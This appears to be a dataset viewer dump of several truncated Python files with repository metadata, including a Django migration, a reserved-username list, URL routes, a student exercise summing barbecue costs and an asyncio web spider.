] | permissive | ErickMurillo/aprocacaho | beed9c4b031cf26a362e44fc6a042b38ab246c27 | eecd216103e6b06e3ece174c89d911f27b50585a | refs/heads/master | 2022-11-23T15:03:32.687847 | 2019-07-01T19:16:37 | 2019-07-01T19:16:37 | 53,867,804 | 0 | 1 | MIT | 2022-11-22T01:02:51 | 2016-03-14T15:23:39 | HTML | UTF-8 | Python | false | false | 1,552 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-08-03 21:28
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('organizacion', '0002_auto_20160609_1700'),
]
operations = [
migrations.Alter... | [
"erickmurillo22@gmail.com"
] | erickmurillo22@gmail.com |
d025d430eb3b45553a6b5e7add7305b8e93a97c6 | 467f9e8d2181c6cfba59afc4c596e328fa1ddbbc | /oby/settings/forbidden_usernames.py | f7b8c6e44e149795e97c2dea999d8fd44158bad8 | [] | no_license | jphalis/oby | 40af213349d7d68e748d34b25c14653876874110 | 20d4b43f7918c98044f82e7bdb9c34dcc10a7994 | refs/heads/master | 2021-05-21T11:13:58.612908 | 2016-06-15T22:05:20 | 2016-06-15T22:05:20 | 36,603,721 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,055 | py | FORBIDDEN_USERNAMES = [
# Generic reserved words
'about',
'account',
'activate',
'activity',
'add',
'admin',
'administrator',
'advertiser',
'advertisers',
'ajaxsearch',
'all',
'announcements',
'anywhere',
'api',
'app',
'apps',
'archive',
'archi... | [
"jphalisnj@gmail.com"
] | jphalisnj@gmail.com |
d8e6ca33f5737e8e3a8c6b75975ab03d158cca5c | 97221d2166bc075d83c64d346434c11f11f44007 | /vmscope/accounts/urls.py | 65fb3fa431f1bd1f5a11e0e591f2d309cd887dc6 | [] | no_license | likit/vmscope-django | a89aba3bd0d8abfc0d154be5872a7206fe1778fb | 9b2c315c049d240764892e718c1d49962d4935f4 | refs/heads/master | 2022-12-09T05:59:31.234466 | 2021-01-11T15:20:09 | 2021-01-11T15:20:09 | 143,836,786 | 0 | 0 | null | 2022-12-08T02:20:57 | 2018-08-07T07:32:37 | Python | UTF-8 | Python | false | false | 215 | py | from django.urls import path
from .views import SignUpView, update_profile
urlpatterns = [
path('signup/', SignUpView.as_view(), name='signup'),
path('edit_profile/', update_profile, name='edit_profile')
] | [
"likit.pre@mahidol.edu"
] | likit.pre@mahidol.edu |
d5014679f0e7629571ed4e5ec13dc761302636a4 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_293/ch87_2020_05_12_23_44_25_135873.py | 5916eb298f5abbe724807df98f3a1a378325eeec | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 243 | py | with open('churras.txt','r') as churrasco:
chur = churrasco.read()
churchur = chur.split()
soma = 0
for e in churchur:
lista_churras = e.split(",")
total = int(lista_churras[1])*float(lista_churras[2])
soma += total
print(soma) | [
"you@example.com"
] | you@example.com |
fd99b671f08d3b5252eed81c98ca24bff841fff4 | 1d2542fbc29c52ccd125c48ab957790ba2640e87 | /holdle/asyncio_spider.py | 077ca19872a83d7946eaa3654389ca5f90ec8b03 | [] | no_license | sixuerain/CrawlMan | 0a6c9b26f6e4e469b7b04dee82b93eeff3a026ae | 5b525417dd87d4f5db9b46b428001dd4c8a24d29 | refs/heads/master | 2023-03-18T11:00:16.297194 | 2021-02-26T08:22:54 | 2021-02-26T08:22:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,525 | py | # -*- coding: utf-8 -*-
# website: http://30daydo.com
# @Time : 2020/9/22 10:07
# 异步爬取首页与列表
import sys
sys.path.append('..')
import asyncio
import datetime
import aiohttp
import re
import time
from parsel import Selector
from configure.settings import DBSelector
from common.BaseService import BaseService
SLEEP = 2
... | [
"jinweizsu@gmail.com"
] | jinweizsu@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.